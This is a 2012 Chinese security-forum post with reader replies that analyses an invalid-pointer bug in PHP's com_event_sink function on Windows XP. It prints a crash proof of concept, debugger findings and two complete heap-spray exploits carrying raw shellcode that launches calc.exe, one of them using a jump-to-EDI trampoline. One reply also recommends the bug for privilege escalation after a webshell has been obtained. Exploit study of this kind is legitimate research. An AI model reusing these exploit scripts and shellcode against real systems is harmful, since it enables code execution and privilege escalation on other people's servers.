首页
社区
课程
招聘
[原创]PHP com_event_sink分析的一点心得
2012-12-11 11:32 9802

[原创]PHP com_event_sink分析的一点心得

2012-12-11 11:32
9802
参考文档:

http://www.garage4hackers.com/blogs/8/web-app-remote-code-execution-via-scripting-engines-part-1-local-exploits-php-0-day-394/

http://msdn.microsoft.com/en-us/library/bb159840.aspx

前言:

  长期潜水,最近发现似乎没有什么漏洞暴出来,我等菜鸟只能到处瞎转悠,偶尔发现这个漏洞的外文博客。此漏洞的成因和实现过程都比较简单,便拿来分析把玩一下,得出此文希望能与吾等一样水平的菜鸟共勉一下。

分析过程:

  原文博客里面讲了很多关于PHP的漏洞类型和历史的一些漏洞的影响,以及PHP和WEB服务器等等的交互问题,有兴趣的可以去我给你的原文链接里面去看看,这里我们重点关注漏洞的部分。
      首先我们来看一段PHP的代码:
 <?php
class IEEventSinker {
    var $terminated = false;

   function ProgressChange($progress, $progressmax) {
      echo "Download progress: $progress / $progressmax\n";
    }

    function DocumentComplete(&$dom, $url) {
      echo "Document $url complete\n";
    }

    function OnQuit() {
      echo "Quit!\n";
      $this->terminated = true;
    }
}
$ie = new COM("InternetExplorer.Application");
// note that you don't need the & for PHP 5!
$sink = new IEEventSinker();
com_event_sink($ie, $sink, "DWebBrowserEvents2");
$ie->Visible = true;
$ie->Navigate("http://www.google.com");
while(!$sink->terminated) {
  com_message_pump(4000);
}
$ie = null;
?>  


  上面的代码,我们可以通过php目录中的php.exe 来进行解析,得出来的结果是打开一个google的页面,上面的代码主要意思是,创建了一个 IEEventSinker的对象,下面用new 创建了一个IE的com接口,最后使用com_event_sink这个函数进行一些操作,为了搞清楚这些操作的意义,这里我贴出了com_event_sink在PHP官网上面的解释:
说明
bool com_event_sink( variant $comobject , object $sinkobject [, mixed $sinkinterface ] )
Instructs COM to sink events generated by comobject into the PHP object sinkobject.
Be careful how you use this feature; if you are doing something similar to the example below, then it doesn't really make sense to run it in a web server context.
参数
comobject

sinkobject

sinkobject should be an instance of a class with methods named after those of the desired dispinterface; you may use com_print_typeinfo() to help generate a template class for this purpose.

sinkinterface

PHP will attempt to use the default dispinterface type specified by the typelibrary associated with comobject, but you may override this choice by setting sinkinterface to the name of the dispinterface that you want to use.


  由上面的文字可以大概知道此函数用于连接COM对象的某个接口的,本菜英语很烂,大概理解就是将某个COM对象中的接口与PHP中创建的对象进行关联,这样的话PHP中的代码就可以接管此接口中响应的一些时间消息或者,定义一些操作什么的。此处的示例代码,是将DWebBrowserEvents2与IEEventSinker类创建的对象进行关联,DWebBrowserEvents2接口主要用于接收一些游览器控件产生的消息,具体的解释大家可以在我贴出的参考资料中午查阅,这里就不贴出来了,因为讲了这么多其实跟漏洞的直接关联的只有com_event_sink这个函数。
  经过上面对于此段实例代码的解释,我们可以知道传入com_event_sink函数中的参数是两个对象的指针,和一个字符串变量,那么如果这两个对象的指针是一个无效指针,这个函数是否会有一定的容错处理呢?这个疑问,就是揪出此漏洞成因的一个关键点,显然根据文章的解释,这个函数并没有对传入进的对象进行有效地校验,所以导致了如果传入的值是一个无效指针的话,将会导致出现不可跳过的错误,是的解释程序崩溃,这里我们可以构造如下代码进行测试:
<?php
$fake_com = new VARIANT(0x41414141);
$fake_sink = new VARIANT(0x12345678);
$fake_DISP = str_repeat("B", 1000);

com_event_sink($fake_com,$fake_sink,$fake_DISP);
?>


  我们可以是PHP.exe 在cmd下这个php文件,结果是程序出现崩掉的现象。第一步我们已经到达了,这时候可以拿出 调试器来进行确定崩溃的地址和具体崩溃的场景,这里我使用的是ImmunityDebug。



  正常载入后,点运行,记住把所有的异常忽略都去掉,否则出现异常也不会中断。


  运行以后,会中断与此,可以看出来访问异常的地址是我们在代码中赋予com_event_sink这个函数的第一个参数的值,再看寄存器:

  此时的EDI保存着我们的第三个参数,也就是字符串的指针。
根据上面两幅图,我们可以发现,最终在5A9C3BB1的代码处,会使用到我们传递进去的错误的指针指向的函数地址,这里要利用起来就很明显了,我们可以用到漏洞利用常常用到的堆风水的方法。
  要利用到堆风水的方法,我们需要仔细的看一下下面这三句代码:

8B76 18                        MOV ESI,DWORD PTR DS:[ESI+18]   --> 此处为第一个参数地址
8B16                        MOV EDX,DWORD PTR DS:[ESI] --> 取出地址中的值
8B4A 10                        MOV ECX,DWORD PTR DS:[EDX+10] -->取出+0x10后的地址的值
FFD1                                CALL ECX

  由上面的代码,我们可以猜想到使用常用的0x0X0X0X0X的方法来进行喷射,代码如下:
<?php
$chunk_size = 0x80000;
// $payload = str_repeat('C',100);  
$payload= "\x90\x90\x90\x90\x90\x90\x90\x90\x0c\x0c\x0c\x0c\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
$nopsled = "\x04\x04\x04\x04";
while(strlen($nopsled)<$chunk_size)
{
	$nopsled.= $nopsled;
}
echo strlen($nopsled);

$nopsled_len = $chunk_size - (strlen($payload) + 20);
$nopsled = substr($nopsled,0, $nopsled_len);

for ($i = 0 ; $i < 100 ; $i++){
	$heap_chunk_0[$i] = $nopsled.$payload;
}

$fake_com = new VARIANT(0x04040404);
$fake_sink = new VARIANT(0x12345678);
$fake_DISP = str_repeat("B", 1000);

com_event_sink($fake_com,$fake_sink,$fake_DISP);
?>



  在我的XP3虚拟机中可以正常的执行shellcode,弹出可爱的计算器程序,代码中可以发现我使用的不是常用的0x0c0c0c0c这个地址,至于为什么大家自己实践一下就会明白了,至此整个漏洞的利用基本上讲完了,不过这样的方法似乎对于漏洞给予的条件似乎没有充分利用,列入函数中的第三个参数的指针在EDI寄存器上面这个条件,似乎没有得到充分的发挥,这里文章中是使用了一种更为巧妙一点的代码:
<?php

$eip ="\x64\x55\xFA\x7F";  //jmp edi
$eax ="\x80\x01\x8d\x04";
$deodrant="";
$axespray = str_repeat($eip.$eax,0x80); 
echo strlen($axespray);


for($i=0;$i<0x4b32;$i++)
{
    $deodrant.=$axespray;
}

echo "complete";

$terminate = "T";

$u[] =$deodrant;

$r[] =$deodrant.$terminate;
$a[] =$deodrant.$terminate;
$s[] =$deodrant.$terminate;

 
$vVar = new VARIANT(0x048d0000+180);   //We control this
//$buffer = str_repeat("B",200);
$buffer= "\x90\x90\x90\x90\x90\x90\x90\x90\x0c\x0c\x0c\x0c\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x6a\x01\x8d\x85\xb9\x00\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
$var2 = new VARIANT(0x41414242);

com_event_sink($vVar,$var2,$buffer);
?> 


  经过修改以后,代码如上面所示。这里文章中使用的思路主要是利用一个跳板来实现对shellcode的利用,也就是找到一个 ‘Jmp edi’ 这样的地址,然后让call ecx的地方,能正确的命中我们的跳板程序,经过跳板再执行到我们的shellcode,要使用这样的方法,我们需要把跳板地址进行喷射。观察一下刚才异常的地址:
8B76 18                        MOV ESI,DWORD PTR DS:[ESI+18]   --> 此处为第一个参数地址
8B16                        MOV EDX,DWORD PTR DS:[ESI] --> 取出地址中的值
8B4A 10                        MOV ECX,DWORD PTR DS:[EDX+10] -->取出+0x10后的地址的值
FFD1                                CALL ECX

  首先ESI是我们给予的地址,然后会把这个当成指针获取里面的值,里面的值会再次作为指针获取+0x10的值,然后把这个值当成函数指针拿来调用。这里整理一下的话,就是要有两个指针值,加上一个能调用shellcode的跳板地址值,所以我们可以把跳板地址和一个指向跳板地址合并起来进行喷射,然后将第一个指针的值(我们可以在外部控制的地址)指向,那个指向跳板地址的值(这里可能有点绕,语言水平有限见谅!),这样的话就可以达到shellcode利用了。到这里此漏洞的成因和利用基本上都分析完了,不过上面的代码都只能在windowsXP上面执行,主要因为win7 开启了DEP,我使用的跳板地址是一个高地址里面的堆里面的一个地址,DEP保护下堆里面是不能执行代码,不过可以用ROP进行构造还是可以利用的,这点就不说ROP的构造在有了mona这个脚本以后,还是相对来说比较简单的,只是要找到一个能比较稳定的module可能比较困难。

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
点赞3
打赏
分享
最新回复 (14)
雪    币: 199
活跃值: (65)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
gkdark 1 2012-12-11 11:36
2
0
码这么多字,而且没有太多的检查,如果有什么错误还望大家指出!
雪    币: 199
活跃值: (65)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
gkdark 1 2012-12-11 11:59
3
0
PHP 5.3.13 (cli) (built: May  8 2012 18:50:09)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies
    with Xdebug v2.2.0, Copyright (c) 2002-2012, by Derick Rethans
忘记贴了,这里我使用的PHP版本 banner 如上!系统为windows Xp3
雪    币: 1489
活跃值: (955)
能力值: (RANK:860 )
在线值:
发帖
回帖
粉丝
仙果 19 2012-12-11 16:46
4
0
非常精彩的一篇分享文章,谢谢楼主的分享
雪    币: 199
活跃值: (65)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
gkdark 1 2012-12-11 18:25
5
0
感谢版主的精华,话说貌似好像都没什么人讨论的所,看来这个漏洞大家兴趣不大!
雪    币: 429
活跃值: (1875)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
riusksk 41 2012-12-11 19:14
6
0
不一样的漏洞场景,顶一个!
雪    币: 219
活跃值: (738)
能力值: (RANK:290 )
在线值:
发帖
回帖
粉丝
viphack 4 2012-12-11 21:16
7
0
我顶 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~·
雪    币: 1015
活跃值: (235)
能力值: ( LV12,RANK:440 )
在线值:
发帖
回帖
粉丝
loongzyd 10 2012-12-12 11:45
8
0
感谢楼主的分享啊!
雪    币: 199
活跃值: (65)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
gkdark 1 2012-12-12 11:57
9
0
后面发现其实浏览器 浏览特定的PHP文件的时候,也可以触发漏洞!不过由于dll 存在的环境的问题,喷射的地址要更低一点才行!
雪    币: 1579
活跃值: (12)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
柔情似水 2012-12-12 14:50
10
0
楼主太强大了,太牛了,我等菜鸟要向你学习。
雪    币: 72
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
打狗棒 2012-12-13 10:49
11
0
上上礼拜好像爆出2 3个有关PHP这样的漏洞,都是这种类型。感谢楼主详细的分析和实践。这个在拿到webshell后提权很有用。
雪    币: 199
活跃值: (40)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
diybl 2012-12-13 11:18
12
0
不知道 在没拿到webshell的时候 有什么方法么 先拿到webshell呢
雪    币: 199
活跃值: (65)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
gkdark 1 2012-12-13 11:55
13
0
楼上的问题,,,那啥,涉及面太广,建议从基础学起!
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
Net太子 2012-12-14 23:41
14
0
楼主辛苦了,分析得比较仔细透彻
雪    币: 88
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
xnop 2012-12-16 15:03
15
0

通俗易懂,非常精彩
游客
登录 | 注册 方可回帖
返回